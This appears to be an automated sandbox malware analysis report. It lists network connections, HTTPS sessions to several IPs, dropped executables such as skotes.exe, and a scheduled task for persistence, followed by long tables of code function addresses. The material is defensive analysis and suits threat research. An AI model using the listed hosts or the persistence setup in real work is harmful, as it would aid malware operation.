Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50018 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name:
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: 7215223519.exe.24.dr	Static PE information: section name:
Source: 7215223519.exe.24.dr	Static PE information: section name: .idata
Source: 7215223519.exe.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name:
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: .idata
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_0072CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

24_2_0072CB97

Source: C:\Users\user\Documents\FIDGHIIECG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFECC0	0_2_6CDFECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5ECD0	0_2_6CE5ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0AC60	0_2_6CE0AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDAC30	0_2_6CEDAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC6C00	0_2_6CEC6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF8CDC0	0_2_6CF8CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE04DB0	0_2_6CE04DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE96D90	0_2_6CE96D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECED70	0_2_6CECED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2AD50	0_2_6CF2AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF88D20	0_2_6CF88D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0AEC0	0_2_6CE0AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0EC0	0_2_6CEA0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE86E90	0_2_6CE86E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9EE70	0_2_6CE9EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0E20	0_2_6CEE0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE00FE0	0_2_6CE00FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDEFF0	0_2_6CEDEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF48FB0	0_2_6CF48FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0EFB0	0_2_6CE0EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC2F70	0_2_6CEC2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6EF40	0_2_6CE6EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF40F20	0_2_6CF40F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE06F10	0_2_6CE06F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF068E0	0_2_6CF068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED4840	0_2_6CED4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE50820	0_2_6CE50820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8A820	0_2_6CE8A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1C9E0	0_2_6CF1C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE349F0	0_2_6CE349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE909A0	0_2_6CE909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA9A0	0_2_6CEBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC09B0	0_2_6CEC09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE38960	0_2_6CE38960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56900	0_2_6CE56900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7EA80	0_2_6CE7EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7CA70	0_2_6CE7CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB8A30	0_2_6CEB8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAEA00	0_2_6CEAEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF06BE0	0_2_6CF06BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0BA0	0_2_6CEA0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE464D0	0_2_6CE464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A4D0	0_2_6CE9A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2A480	0_2_6CF2A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE18460	0_2_6CE18460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE64420	0_2_6CE64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8A430	0_2_6CE8A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA5E0	0_2_6CECA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8E5F0	0_2_6CE8E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF45B0	0_2_6CDF45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE62560	0_2_6CE62560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0570	0_2_6CEA0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF48550	0_2_6CF48550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE58540	0_2_6CE58540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF04540	0_2_6CF04540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5E6E0	0_2_6CE5E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9E6E0	0_2_6CE9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE246D0	0_2_6CE246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5C650	0_2_6CE5C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2A7D0	0_2_6CE2A7D0
